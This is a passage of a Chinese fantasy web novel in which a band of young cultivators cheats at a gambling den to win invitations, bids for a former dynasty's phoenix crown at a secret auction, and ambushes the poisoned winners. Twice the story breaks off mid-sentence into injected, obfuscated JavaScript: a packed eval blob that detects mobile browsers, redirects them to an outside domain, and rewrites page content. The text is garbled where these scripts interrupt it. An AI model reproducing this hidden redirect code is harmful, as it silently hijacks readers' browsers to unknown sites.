他不由得感到有些窃喜,轻咳两声,眼睛也不看她,状似无意的说道。 “那要不跟我们一起走?最近听说计都有关于地图的传言,我们实力不弱,跟着我...们不吃亏。” “计都?” 她皱了皱眉。 “消息可靠吗?” “消息来源是可靠的,计都的确有传言,不过传言的真假就不知道了。” 她的表情没有变,沉思了一会,回答道。 “好,我跟你们一起走。” 她说完抬头,原本还坐着的云修泽就已经不见了,再一扭头,就看见他的背影,竟是动作迅速的要去给她安排帐篷。 不知是不是她的错觉,他整个人透露出一种轻松的、乐呵呵的氛围,像是下一秒就能哼出个曲儿来的样子。 她摇了摇头,将这奇怪的想象从脑海中赶了出去。 云修云的尾巴已经彻底摇欢了,他看出了云修泽对她的不同,十分欢迎她的到来。 “明青姐!欢迎欢迎!上次也没来得及互通姓名,我是他弟弟,我叫云修云,这是唐思月,这是她的护卫,行愿大哥。以后就是咱们五个人一起走了!” 明青冲他们几个都点了点头。 行愿冲她微微颔首算作打招呼,唐思月则走到她身边和她轻声交谈起来,也许是女孩子之间总是有话说,两个都算不上话多的漂亮姑娘没一会儿就聊作了一团。 等云修泽回来见她们这个样子,也是十分乐见其成,随她们去了。 在野外休息,除了唐思月,其他几人总是轮流守夜。 今日人都睡沉了,云修泽一个人在篝火旁打坐,突然云修云从帐篷里钻了出来,做贼似地摸到他身边,云修泽眼睛也不睁的问他三更半夜的有何贵干。 云修云将手伸到火堆旁暖着,悄声问他。 “你为什么骗她?” 云修泽睁开了眼,吐气放弃了打坐。 “我骗她什么了?” 云修云左右看了看,问道。 “咱们不就是冲着秘宝去的吗?” 云修泽像看傻子一样用无语的眼神看他。 “咱们什么时候要去拿秘宝了?” 云修云看上去很想摇摇他的脑袋帮他回忆一下,可是有贼心也没那个贼胆,只能试图用言语让他想起来。 “不是你那天跟阿爹说的吗?” “我说什么了?” “你不是问了他是不是要秘宝吗?” 云修泽叹了口气,敲敲他的脑袋。 “我是问了,可他答了吗?” 云修云刚想给他肯定的答案,可电光火石间想起了当时的情景,整个人都呆住了。 “他答了什么?” 他什么也没答,他只是摇了摇头。 云修云整个人肉眼可见的变得沮丧起来,云修泽也没去开解他,双手放到脑后躺了下去,语气慵懒。 “他说让我们找到那个地方,又没说让我们参与夺宝,干嘛干那种吃力不讨好的事,找到了远远的看一眼就是,别没事给自己找事干。” 云修云没再说话,兄弟俩幕天席地的一个躺一个坐,伴着火星时不时发出的声响,安静的度过了一夜。 次日。 几人收拾了昨晚的痕迹,再次出发。 明青没有马,也不愿长时间待在马车中,所以更多的时候还是和行愿一起待在车头,几人慢悠悠的走了一个上午,才终于到了有人居住的一个小城。 进城门前,唐思月从马车里钻了出来,坐在行愿和明青中间,熟练的拿出了一个面纱戴在了脸上,明青默默的看着她,心中想到这般美貌的确该藏起来,不然定会引起不知好歹的人觊觎。 唐思月戴完,竟转手又拿出了一个面纱,向明青递了过来,明青微微外头表示不解,云修泽骑马跟在旁边,见状取笑道。 “思月思虑周全,你也最好带上,难不成你以为自己有多普通吗?你若这么大咧咧的进去了,只怕招惹的人也比思月少不了。” 明青木着脸看了他一眼,惹得他开怀大笑。于是干脆不去管他发疯,接过唐思月手中的面纱也戴了上去。 两位美人白色轻纱遮面,只余眼睛,也是别有一番风情。 几人顺利进了城,找到一个酒楼安顿好,又坐在一起用过饭后,就默契的分头去打探消息。 自从上次两兄弟在酒馆中无意听到唐家的消息后,每到一个地方,不管有用没用,都会专门去打探消息,这次也不例外。 大约一个时辰后,两兄弟和明青就回到了酒楼,三人在小包间里叫了点茶水点心,等着唐思月和行愿归来再一起交换信息。 不一会儿,两人就回来了。 唐思月坐到座位上,神色有些奇怪,想来是打探到了什么。 云修泽见此,放了一杯茶到她面前,示意让她先说。 “两日后,这里的拍卖行将举行一场暗拍,压轴的物品,听说是前朝皇子的遗物,一顶违制得凤冠,而凤冠上有一颗血红宝石,据说来自......” 唐思月微微皱眉,快速说道。 “镜双子!” 9. 孚望九 这个消息让几人都安静了下来。 云修泽拿着茶杯,手在半空中停了一会后,又若无其事的将茶送到了唇边轻抿一口。 “怪不得这么一个偏僻的地方,街上却有那么多珠光宝气的人,看来都是得到了消息来的。” 唐思月点点头。 “是一家名不见经传的小型拍卖行,叫百宝坊,应该是得到了一些势力的支持,才有底气进行这场暗拍,知道暗拍的人少,知道凤冠的客人更是优中选优,我也是十分的机缘巧合才意外知晓的。” “百宝坊...皇后冠......” 云修泽轻叩桌面,沉吟片刻,道。 “怎么才能混进去?邀帖吗?” 这个唐思月和行愿自然也打探过了,说道。 “不错,城中的一处地下赌坊和百宝坊同属一家,这次更是直接放出了十张空白的邀帖,只要同赌坊指定的人进行赌局,连赢三场,便能拿到一张。” 云修泽敏锐问道。 “同一个人可以连续下场吗?” 唐思月眼神认真,看着他微微颔首。 “可以,赌徒都带有面具,不过连续下场获胜,很容易被当成目标。” 这个倒是可以预料,云修泽浅浅勾起一边唇角,说道。 “只要可以连续下场,其他的,无所谓。” “先帝六子三女,这凤冠可知道是哪位皇子的遗物吗?” 明青问道。 唐思月有些惋惜地摇头。 “不知道,可能是为了吸引更多的人,百宝坊的人对此闭口不谈,只是插科打诨的糊弄。” 明青紧抿双唇,神色有些不虞。 “皇族律令,任何人不得私藏、买卖、讨论前朝事或者前朝物品,这个百宝坊倒是胆子够大,竟不知从哪里弄来这不知真假的东西当噱头,哼,张狂!” 云修泽看她一眼,停了一会儿,安慰道。 “他们若真那么肆无忌惮,只怕这就不会是暗拍,而是平头百姓都可议论的饭后谈资了。” 明青安静的点点头,没再说什么,察觉到云修泽一直看着她,还抬头看回去,似乎在问‘怎么了?’。 云修泽看她这样,竟觉得有几分可爱,眼中的冷漠也悄悄散了。勾勾手示意她附耳过来,在她耳边轻声说了几句什么,明青给了他一个带着点惊讶意味的眼神,似乎没想到竟然还能这样。等退开时,就见他笑得一脸狡猾。 云修云趴在桌子上,看着他们打趣。 “呦,两位,说什么悄悄话呢?给大家伙分享分享?” 云修泽看他一眼,笑道。 “小孩子好奇心别太重。” 云修云耸耸肩看向唐思月。 “你看看,有了明青姐,连我这个亲弟弟都不要了。” 唐思月笑而不答,看着云修泽捏起一个坚果准头十分好的砸中了云修云,云修云抱头喊痛,倒是让气氛轻松了起来。 云修泽拍拍手,决定道。 “青玉,你和思月还有行大哥留在这里,我和明青今晚要去赌坊一探。” 唐思月有些担心,可也知道这么安排最好,就点点头表示自己知道了。 云修泽冲她安抚一笑,故意说道。 “思月,青玉我可就交给你了,看好他别让他闯祸。” 唐思月宽心了许多,笑着应了。而云修云则是有些纠结,不知是该高兴还是应该跳脚,在几人的笑意中只能偃旗息鼓,委委屈屈的忍下了。 是夜。 一条曲折幽暗的小路上,两个穿着黑色斗篷的人轻轻推开了一扇不起眼的门,七拐八拐后,喧闹的声音就传到了他们耳中。 云修泽站定,递给了身旁的明青一张毫无特色的白色面具,自己也戴了一张一样的,两人从头到脚都是一个样子,戴好面具后,倒像是同一个人的男版和女版,云修泽轻笑一声,就见旁边那个顶着一张惨白的面具抬头看他,实在忍不住又多笑了几声。 “你笑什么?” 明青的声音传来,因为有面具阻挡而显得有些闷,倒像是她本人在郁闷一般。 即使只能看见一双眼睛,明青也能看出云修泽此时眼中透露出的一种像是温柔的神色。 “笑我们两个,穿成这个样子,才能明白镜双子的对镜自照究竟是个什么样的场景,看着你,宛如看着另一个自己,虽然赌坊里多数人都是这个打扮,但我也有自信能将你一眼认出。” 明青应该是笑了,眼睛微微弯起,看着他,一边往前走,一边说道。 “你最好是。” 云修泽没想到能哄她笑,微微有些惊喜,却也懊恼没能看到,他看着明青给门口的护卫交了点钱,转身进了赌坊,再一眨眼,就消失在了人群中。 云修泽愉悦的低笑两声,深吸一口气,也学着败家少爷的姿态,大摇大摆地进了赌坊。 进了那个门,就像是进了另一个世界,场地宽阔,分为十个区域,共有十个玩法,几乎每桌都坐满了人,有不少脸红脖子粗的叫嚷着被拖了下去,马上就有新人顶上,还有人在各个地方游走。 每个区域中间都会有一桌赌坊自己的人在那里守着赌桌,每开一局都是不小的金额,所以很少有人敢去挑战,但只要能连赢三场,就能在巨额的财富和一张不知名的邀贴中择一带走。 而邀贴,现在已经有人拿走了,还留在这里的,只有...... 七张。 云修泽并没有急着下场,反而在每个赌区都逛了一遍,观察着每一种玩法,在场下预测赌局的结果。 等到他觉得差不多了,才装模作样的下场赢了几局,然后就像是一个自信心膨胀的蠢货一样,直接就来到了中央赌桌,大手一挥将刚刚赢来的钱全都压了上去。 感谢世叔给的本金。 赌坊的人笑着为他开局,眼中却藏着精明的算计。 这个区域是摇骰子,赌点数的大小,云修泽从小在竹林里修炼听声辨位,对于声音十分敏感,他第一场选择这里,便是觉的这里最好下手。 前两场是赌坊的人故意输给他的,如果第三局云修泽没有赢的话,那他不仅要把赢来的钱全部还回去,甚至还要倒贴不少。 摇骰子的器具都是隔绝灵力的,但是隔不住云修泽的耳朵,对面人的动作在他眼中仿佛被放慢,他毫不意外的察觉到了对方的出千,于是指尖微动,放了一缕灵气过去。 灵气只是靠近,根本没有碰到,但是化为实体的灵气却可以带动微风,这一丝风就悄无声息的打乱了内里骰子的点数。 等到执蛊的人自信的掀开,却不可置信的发现所有的骰子点数都是一,周边围着的人都吵闹起来。云修泽勾唇一笑,用夸张的动作向周围观看的人拱手示意承让。 赌坊的人不知是出了什么意外,但那么多的人围观,也只能无奈的捏着鼻子认下。 他勉强扯出一张笑脸,冲云修泽拱手道喜。 “恭喜呀,恭喜!您这手气也实在是让小的自愧不如,按照我们这里的规矩,一百万金和邀帖,不知您想要哪个?” 云修泽丝毫不崩人设,活脱脱就是个纨绔,装作爷不差那点儿钱的样子问道。 “那邀帖是个什么玩意儿?” 旁边有人劝他。 “唉!就是一张空白的帖子,也不知道干嘛用的,哪有真金白银来的实在!依我们看啊,还得是选那百万金才是!” 不止一个人这么说,有不少人都在劝他选实在的,可他大手一挥,竟是偏要和众人对着干。 “诶!你们要这么说,我倒真对这玩意儿有点儿兴趣了,区区一百万金而已,就要那个什么...邀帖了!” 赌坊的人将邀帖给他送了上来,他拿着上下看了看,便不甚在意的收了起来。 周围的人一看,便知道他身上大约是有储物用器,倒也真的信了这是个不差钱的主。 云修泽将身边围着的人轰散,径直离开了这个区域,好像还没玩够一样,又去别的地方凑热闹。 他和明青分头行动,明青比他更低调些,但两人身上也大约都有了两张帖子,倒也不全赢,偶尔也会输个几局用作遮掩。 就算是这样,也还是被赌坊的人注意到了,等云修泽又一次坐在中央赌桌上后,一个小头领亲自带了人来上场了。 这把是赌牌,抓完牌后,由骰子决定赌坊的人从左到右拿自己的第几张牌,而云修泽需要从自己的牌中选定一张,和对面的人同时掀开。 如果他的牌数更大,那么便是获胜,反之为输,一局分为三小局,三局两胜。 云修泽看着对面,烛火将他的对手照的很亮,而他的目光则不经意瞥向了对方身后的阴暗处,明青已经悄然在那里站定。 明青在斗篷下的手悄悄捏了个法诀,瞬间,两人便共享了眼睛所能看到的一切。 她微微眯眼,细不可察的灵力悄然四散,将小头领的动作分解拆散。 他的出千手法实在是出色,可架不住他的牌就是明摊在云修泽眼中的,为了设局逼他将最大的牌用出,有时甚至还会故意输给他。 周围人将气氛烘托得很是热烈,就像是自己上场一样不断地叫喊,云修泽也配合着输赢,表演着得意或者愤怒不甘的情绪。 三局过后,云修泽毫不意外的获得了胜利,于是做足了姿态,仰头大笑了起来,尽显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明青也如法炮制,两人穿着自己的衣服,假扮成正在逛街的路人,当着他们的面,肆无忌惮的回了酒楼。 两人在酒楼的二楼站定,云修泽面对着前方,却歪头看向明清。 “今日天色已晚,恐怕他们都睡下了,明日午时,来我房中?” 明青听着这话,总觉得有哪里不对,却也没有多想,点点头应下。 云修泽微微一笑,声音微沉。 “那,好梦。” 明青觉得今夜的云修泽有些奇怪,不知道为什么,搅得她有些心绪不宁,听着他的语气,也不自觉放轻了声音。 “嗯,好梦。” 云修泽眉眼带笑,静静的目送她回到了房中,又在原地站了一会儿,才迈开步子,回了房中。 * 五人聚在云修泽的房中,云修泽将得来的帖子分给他们,把昨天的事简单描述了一下,又有些不放心的叮嘱道。 “明日穿好斗篷,到切记不要暴露自己的身份。” 见几人都点头应了,才勉强放下心来。 次日。 几人穿着黑色斗篷来到了百宝坊,像这种地方,穿成他们这样的人不在少数,所以他们混入其中,倒也并不十分显眼。 他们跟着领路人走过了一个简易的阵法,顺利来到了地下。 凡是参与暗拍的,就没有愿意将自己暴露在众人眼下的,所以整个场地全都是包厢,几人被领进其中一个,这个包厢面对着拍卖台,整整一面都是用一种水晶制成的透明单向墙面,房间内备了桌椅茶水,最中间的那个桌子上漂浮着一块菱形的灵石,侍从上前解释道。 “几位贵客,这块灵石是用以叫价的,每个拍品都会有固定的追加数额,想要加价,便只需轻轻触碰这块灵石,场上自会有人按照拍品的加价金额为您举牌。” 云修泽点点头,也不说话,只是挥手示意他退下,等他离开,五人便坐了下来,等待开场。 “来了不少高手。”行愿道。 云修泽眼神冷然,还在还没开场,竞拍者就已经在有意无意试探对方的实力了,他平静的点了点头,道。 “我们低调一些,暂时别引起太多注意。” 时间一点点消磨在香柱的灰烬中。 不知过了多久,整个场地终于悄无声息的暗了下去,拍卖台的周边泛起了淡淡的荧光,慢慢的越来越亮,直到将整个拍卖台都笼罩,让它彻底变成了众人眼中的焦点。 一位华服美人带着半遮的面具款款走上台面,红唇勾起,含有灵力的声音便传到了人们耳中。 “阿蒂在此恭迎今日莅临本场拍卖的贵客,在这里,无所不有,无所不卖,请各位安心竞拍,百宝坊会保护每一位贵客的身份。” 说罢,她便伸出双手轻轻一拍,立马就有侍从捧着托盘上来,他将托盘并着拍品放到高台上,又弓着身子默默退下。 那位自称阿蒂的美人伸手,将众人的视线引向托盘上的拍品,用轻柔的声音说道。 “那么,今日的拍卖,正式开始。” 10. 孚望十 这场拍卖会总共二十件拍品,先拿上来的一般都是比较稀有的东西,用来热场,中间则会放些普通点的,凤冠如此造势,定然压轴的。 这个百宝坊看起来的确只是个普通的小拍卖行,拿出来的东西虽然都还算得上珍惜,但也没有几件真的能打动包厢里这几位被大家族养出来的少爷小姐,直到凤冠被抬了上来,才让几人打起了精神。 凤冠华美,点翠、珍珠、金钗、博鬓、纯金的龙凤还有各色宝石若干,最耀眼的,便是那金凤口中所衔的血红宝石珠串,用珍珠点缀,金银丝交缠成极细的线制成流苏,不难想象若是有人头戴此冠,行走摇曳间,会是怎样的夺目与庄严。 命人制此冠者,虽还是个皇子,却没有一点偷工减料,反而比历代皇后的凤冠要更用心一些。 多数人都是冲着这个冠来的,此冠一出,几乎所有的包厢都第一时间触碰了灵石,表示参与竞拍。 阿蒂很满意这个效果,她的笑容又扩大几分,红唇鲜艳,抹上了一丝贪婪,她用灵力将凤冠微微抬起,露出了内里的制印。 “各位请看,百宝坊既然敢冒险拍卖,就绝不会用假货来糊弄大家,这个,是前朝皇子,四皇子的遗物,凤冠内有四皇子私印,民间绝对无法仿制。” 她顿了顿,又接着说。 “这顶凤冠是四皇子监国时命人赶制,那时所有人都认为他能够继承大统,却无奈天妒英才,因为身体原因便撒手人寰了,所以这顶绝美的凤冠就这样被搁置。” 她将凤冠轻轻放下,转手开始介绍凤冠本身。 “诸位请看,凤冠通高三十五,冠口二十,共嵌宝石一百二十块,装饰珍珠五千五百颗。龙凤珠花及博鬓均左右对称,龙凤姿态生动,珠宝金翠色泽艳丽,光彩照人,尤其是此凤口中所衔的红宝石,想必诸位也都听说了。” 她歪头微微一笑。 “来自名满天下的镜双子,这可不是普通的宝石,而是一种非常稀有的灵石,是一种特殊的树种在极其苛刻的条件下才能孕育的,能够散发出十分特殊的淡香,对女子的身体有很好的滋养作用,长久佩戴也有美容养颜的功效,如果是法修,佩戴这块宝石,也有调养经脉、祛除杂质和破除迷障的用途。” 阿蒂伸手一点,用了一个小法术,让点点荧光围绕着这个凤冠上下舞动,将凤冠照耀的愈发美丽。 “大家都知道,皇族律令,不得买卖前朝物件,尤其是贵族物品,所以今天在这里的顶冠不仅有很不错的实际用途,还有很高的收藏价值,而我们百宝坊既然能拿到这顶凤冠,那么知道的信息,也只会比阿蒂刚刚所说还要要多上一些,如果有哪位贵客拍下此物,想要了解更详细的,阿蒂,愿意为您慢慢说来。” 她的语气变得有些缱绻,让人不自觉地去想是否还有些别的赠礼。 “那么,话不多说,这顶凤冠,起拍价,二百三十万金,每次加价二十万金,上不封顶!” 随着她的声音落下,云修泽五人旁边的房间最先亮起,阿蒂伸手一指。 “雪字房,二百五十万金。” 这里的房间是以风花雪月、春夏秋冬等雅称命名的,他们所在的,则是月字,听到叫价,云修泽皱了皱眉,将几人聚到一起,底气有些不足的问。 “各位,身上都还有多少啊?我这算上赌坊里刚拿到的,也就一百二十万金,赌坊有最低上桌金额,所以明青应该和我差不多,一百上下浮动吧,你们呢?” 明青在他旁边没有说话。 云修云眨眨眼,翻了翻自己的玉佩,有些不好意思地笑道。 “我这就五十万金零十五两了,这还是世叔准备的,不然你弟弟估计也就能拿出十两来了。” 云修泽看出他尽力来了,竟然连那十几两都拿出来说,于是只能将希望寄托在唐思月身上。 唐思月清点了一下金额,抬头说道。 “唐家行医,多年隐居,家底算不得十分丰厚,所以我身上大概只有七百万金差不多,行愿嫌管钱麻烦,一般都是放一点在身上应急,其余的都放在我这里随取随用,大约有三十万金。” 一旁的行愿点点头,示意唐思月说的没错。 云修泽大致估算了一下。 “那我们合起来应该也有一千万金,但是这笔钱不能全部支用,每个人至少要留下十万金在身上,思月的是她父亲留给她的资产,我们顶多取一半,所以我们能出的最高价在六百万金左右。” 唐思月张了张嘴,想说自己可以出更多,却被云修泽摇头制止了,表示这件事没得商量,于是带了点感激之意,点点头应下了。 就在他们商讨的一时半刻,外面的叫价就已经来到了四百一十万金,竞争十分激烈,一部分人是冲着收藏或者宝石的功效去的,还有一部分,恐怕就是要买阿蒂口中那‘额外’的消息。 云修泽心中有了底,便也开始参与竞价,他伸手碰了碰灵石,灵石发出了十分轻微地一声脆响,光芒应声而亮,台上阿蒂的手伸向了他们。 “月字房,四百三十万。” 话音刚落,马上就有新的叫价。 “秋字房,四百五十万。” “风字房,四百七十万。” “雪字房,四百九十万。” “月字房,五百一十万。” 价格到了五百万,参与叫价的就已经没剩几个了,喊价也越来越慢,除了他们,就只剩雪字号和秋字号,云修泽预算不多,只能跟他们玩点心理战,每一次叫价都跟得十分迅速,通过这种方式来给他们一点压力。 云修云看着这种情形有些惊讶。 “这才五百万,竟然就没什么人叫价了,镜双子的消息不是挺值钱的吗?” 唐思月看起来兴致不高,拿起一块酥脆的点心,也不吃,只是没什么精神的用手指一点点轻轻捏碎,听到他的话,抬头看了他一眼。 “这算幸运的,百宝坊没那么大的胆子和手段,不敢将这个消息传播得到处都是,也不敢招惹那些顶尖的世家,不然林家主也不会不知道,如果换成通神阁试试呢,只怕咱们这点,都不够那些疯子塞牙缝的。” 一旁的明青听到这话,有些惊讶的转头看了她一眼。 几人进来时,就已经将用来遮掩身份的斗篷脱下了,而她穿的不算十分暖和,此刻斜斜坐着,更显得单薄,整个人都有些懒洋洋的,跟平时行走坐卧都带着世家小姐的姿态很是不一样,眉眼松散后,便没有了端美之感,艳丽的弧度反而显露出攻击性来。 云修云有些看呆了,骤然见到她不同的一面,心中又不免有些高兴。 她愿意在我们面前卸下姿态,岂不是更加亲近我们了? 想到这里,云修云的眼神变得十分清亮,嘴上也咧开了笑容。 “是我浅薄了,没能深想,我性子直,以后有什么不妥的,思月可要多帮帮我。” 正忙着喊价的云修泽忙里偷闲,看了他这个傻弟弟一眼,在心中摇了摇头。 唉!这么多年的淳淳教诲,终究是错付了! 那边的行愿似乎也注意到了她的单薄,拿出一件浅色的披风,将它披到了唐思月身上,唐思月拢着领口,笑着抬头看他一眼,行愿点点头,又去看了一眼明青,似乎在思量她的衣着。 明青有些意外他竟然会顾及自己,停了一会儿,对他摇摇头,冲他轻声道谢,示意自己并不需要添衣。 行愿无声点头,低头帮唐思月将被披风盖住的长发轻轻拿了出来,确认她没什么不舒服后,才坐回了自己的位置。 明青冲唐思月微微弯了弯眼睛,语气带了些柔和。 “行愿大哥很像我哥哥,他们的性子差不多,虽然都很沉默,但是本质上却十分的细心温和。” 行愿看了她一眼,没有说话。 唐思月在那边靠着扶手,歪头打量他们两个,用鼻音发出一声不知意味的轻笑。 “我倒是觉得你们两个也很像,都是面冷心软的人。” 这边两个姑娘轻声交谈,那边云修云想的却是为什么自己没能想到给唐思月披个衣服。 行愿大哥看顾她日久,现在更算得上是她唯一的亲人,自然也不会希望她日后的情郎是个粗心的人,她冷了连个衣服都不会给她披,自己以后要更细心些才是。 这么想着,就不由得嘿嘿傻笑起来,惹得四人都去看他,云修云被四双眼睛看的一顿,用手捂着脸狠狠揉了一把,才装作若无其事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950937|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的去看拍卖,正好就碰上了雪字房叫价。 “雪字房,六百一十万金。还有加价的吗?” 阿蒂环顾四周的包房,给了一点考虑时间后,开始喊道。 “六百一十万,一次。” 她拉长了声音。 “六百一十万,两次。” 这已经到了五人预估的最高价,云修泽皱了皱眉,想要放弃竞拍,之后再做打算,却不想一边的明青突然碰了一下灵石,光芒骤然亮起。 阿蒂眼神动了动,笑得十分灿烂。 “月字房追价,六百三十万金!” 云修泽惊讶的回头看她,明青抿了抿嘴,还没等她说什么,一旁的唐思月先行开口说道。 “加吧,多出来的我出,这个凤冠,我也很想拿来一观。” 她的神色少见的有些冷淡,语气却十分坚定。 云修泽轻轻皱眉,明青却摇了摇头,她从这个凤冠被拿上拍卖台开始,情绪就有些不快。 “我有,我出,我想要它。” 云修泽见队伍中的两个姑娘都对这个凤冠那么执着,便没再说什么,毕竟他刚刚对明青手中资产也只是做了个估算,说到底还是没有问过,她既然有底气,便无需去阻挡她,只是叮嘱了一句量力而行。 “雪字房,六百五十万金!” 他们旁边的房间里亮起,是雪字房,那么多包厢,只有这个包厢加价从来不犹豫。 明青也很强势,直接跟上,又一次加价。 现下只剩他们两个包厢角逐,阿蒂很兴奋,五百万往上,在他们这个小拍卖行已经算是溢价了,价格越高,她拿到手的越多。 明眼人都能看出他们两个包厢在较劲了,每次加价就没有犹豫的时候,直到价格到了八百万金,明青才咬牙不再喊价。 “八百七十万金!第三次!成交!” 随着此话喊出,这顶凤冠就已经确定被雪字房的人拍下了,阿蒂让侍从将它撤下后,走到拍卖台正中央,轻柔的行了个礼。 “今天所有的拍品到现在已经全部确认了买家,拍卖会也在这里结束了,诸位拍下了东西的贵客,可以选择自行领取拍品,先行离开,也可以在包厢等待阿蒂亲自带人为您奉上,只愿下次拍卖会,诸位贵客还能赏脸前来,阿蒂这就先行告退了。” 她说着,整个人就隐入了黑影中消失不见,场地也都随着她的消失慢慢的重新暗了下去。 明青起身,十分迅速的重新穿上了斗篷,提起深流就开始往外走,走了两步,又像是突然想起了什么,停下来转头对他们说。 “我去追雪字房的人。” 说罢,她就再无停顿,快步离开。 云修云已经有点习惯她的雷厉风行了,挠挠头转头去看他哥。 “这就走了?她就不怕她走的比雪字房的人还快?” 云修泽正在穿斗篷,他一边系着斗篷的带子,一边对他说道。 “这种和双生子扯上关系的东西,你拿到了还能乖乖留在这儿?等人给你来一出关门打狗呢?雪字房的人肯定马上拿了东西跑了,这换成谁不得跑啊。啊,你可能不会跑。” 听到云修泽又开始阴阳怪气的教育他,云修云郁闷的哦了一声,锲而不舍地再一次开始提问。 “那他们不问镜双子的消息了吗?” 云修泽拍拍他的头。 “先跑再说嘛,百宝坊立在这儿又跑不了,等甩开了人,拿着东西回来问,他们还能赖账不成?” 云修云明白了。 “那我们去追明青姐?” 云修泽已经准备妥当了,听他问这话,看了他一眼,和蔼的笑道。 “当然去追,你也不怕你明青姐一个人被人欺负,行大哥,你带好思月,咱们要快点了。” 行愿点点头,将唐思月揽到身边,稍一弯腰就将人抱了起来。 他的轻功虽然比不上云修泽和明青,可却比云修云强上一些,带着个人也不至于跟丢。 云修云看看他,又看看自己的双臂,决定要回去努力练练臂力和轻功。 云修泽将他的小心思看得一清二楚,勾唇说道。 “走吧,去给你明青姐撑腰。” 11. 孚望十一 明青出了百宝坊,专挑隐蔽的小路或者四通八达,有利于躲避敌人、来回游走的路来追击雪字房的人。 早在拍卖的前一天,他们几人就为了以防万一,将这附近的路都摸排了一遍,现下倒是正好方便了她找人。 她面无表情抓紧了深流,调动身体,在脑海中不断的估算着他们会选择的路线。 明青极轻极快的四处游走,如果有人能看见她,便会发现一个黑影突然闪身出现在这条路上的某一个地方,或许是屋顶,或许是巷口,再一眨眼间,便又不见了,只叫人以为是自己出现了幻觉。 明青的步伐本身是简单的,可是它组合运行起来却十分的复杂,哪怕有人想要细细观之,也只会觉得眼花缭乱,根本看不懂其中奥妙,而她使用轻功的时候,每次落地都偏好于暗处、不显眼处,在对打或者追击过程中,很难有人将注意力放在这个上面,因此在这方面,她是有着不落于人下的自信。 明青一边找,一边筛选着,她的思路很显然是正确的,没用多久,她就发现了雪字房的人,但她没有选择上前,而是挑了他们近处的一棵树,隐蔽的蹲了上去,居高临下的看着雪字房的人和另一拨人对峙。 这种事后劫路的想法很显然不止她一个人有,看现场这个样子,很明显雪字房的人已经料理过一波人了,身上都或多或少的带着一些伤,他们是有备而来,应该还用上了十分稀少的传送符,如果不是因为传送符的距离限制过大,或者没有人那么早找到他们,恐怕他们早已经走远。 明青眯了眯眼睛,她已经第一时间出来找人了,前面的这些人没道理比她快那么多,恐怕是早就已经算好了雪字房这六个人会在哪里出现,提前埋伏在了这里。 她静静的放慢了呼吸,宛若和树木合为一体一般,一动不动的蹲着,最大程度的削弱了自己的存在感。 下面两拨人交谈无果,很快争斗了起来。 雪字房的人看起来并不十分擅长攻击,反而速度和防御不错,对面的人明显实力比他们强,他们全盛时期就无法快速将对面击败,更何况他们都已经受了伤,在这种情况下,便只能靠游走偷袭来拖延他们的体力,再伺机逃走。 但他们对面的人也显然也知道这点,虽然被拖住,但是并不是就这样被全然限制。 这拨人一看就来自同一个地方,练习的体术、配合、攻击都十分默契,剑招也十分规矩,没有平常人爱在无意间搞点小动作的习惯,总让明青觉得有点眼熟。 雪字房的五个人数次想要掩护其中一个人逃走,都被他们强横的拦了下来,很显然,短时间内,他们都无法拿对方怎么样。 眼看着陷入僵局,雪字房的六个人突然对视一眼,似乎在转瞬间达成了什么一致。 他们迅速从衣袖中掏出来药丸咽了下去,对面的人见状不妙,立刻就要拉开距离,却无奈雪字房中已经有一个人掏出一颗药丸,飞快的向地上掷去。 那药丸的外壳竟是极薄极脆的,落地的瞬间便应声破裂,随即而来的就是浓郁的烟雾,十分霸道的在这一片地方蔓延。 对面那几个人尽管已经后退,却也无可避免的沾染了一些,让明青没有想到的是,仅仅是这不多的分量,就让那几个内家高手毫无抵抗之力,几个呼吸间就已经倒在地上彻底没了声息,再看吃下了疑似解药的雪字房中人,也都无一例外出现了痛苦的表情,似乎无法很好的控制自己的身体。 烟雾很快向上弥漫,明青站直身体,不太怕死的嗅了嗅这个烟雾,仔细分辨了一会儿,眉头就轻皱了起来。 这是一种叫阎罗殿的毒物,无论是嗅闻、吃下、还是伤口接触了此物,都会在极短的时间内死去,世上根本没有出现过它的解药,她自己的体质特殊,自然是不怕的,可这几个雪字房的人吃下的恐怕也只是用来延迟生命、治标不治本的东西。 明青感到有些烦躁,这群人是不要命也要将这个凤冠带回去给他们背后的人。 眼见着下面这六个人已经摇摇晃晃的重新控制了自己的身体,明青也不再耽搁,轻巧的跃下树,脚踩在地上的干草上发出了轻微的声响,那六个人警惕看来,却什么也没有发现,正当他们放松警惕,准备马上离开时,就听见明青的声音在他们背后响起。 “我在这里。” 几人悚然回头,深流已经出鞘,蓝白的剑身很是美观,可是锋利的剑刃,却已经抵在了他们刚刚想要掩护离去之人的脖颈上。 “怎么可能?!这可是阎罗殿!你竟然一点事儿都没有吗?” 其中一个人震惊喊道,持剑的手都再次变得僵硬起来。 明青没有向他们解释,反而问道。 “你们是谁的人?为什么要买凤冠?都还知道些什么?” 那五个人显然不准备回答她的问题,一个个都谨慎的围在了她的周围。 明青也没抱什么希望,看刚才这几个人连命也不要的样子,就知道恐怕也问不出什么来。 她站在一人身后,迅速在自己挟持的人身上点了两下,那人只觉得手脚发软,血脉堵塞,不受控制的软倒下去,跌坐在了地上。 深流依然紧随着他的脖颈,可明青本人的姿态放松,只是站在那里,完全不害怕剩下五人会趁此偷袭。 只听砰砰砰五声闷响,坐在地上的中年男人不可置信的看着他的同伴们整整齐齐的失去了意识,他的眼睛发直。 “你干了.......什么?” “哦。” 明青指了指刚刚她蹲过的树的树脚下,轻描淡写的回答他。 “我刚刚在那儿丢了一棵梦仙草,加重了阎罗殿的威力,我帮你点了穴缓解了毒素流动,但他们却是扛不住的。” 中年男人没有回话,树脚下,一棵毫不起眼的灵草静静地和一地的杂草堆在一起。 梦仙草,阎罗殿的主要用料之一,稀世罕见,难以寻找。 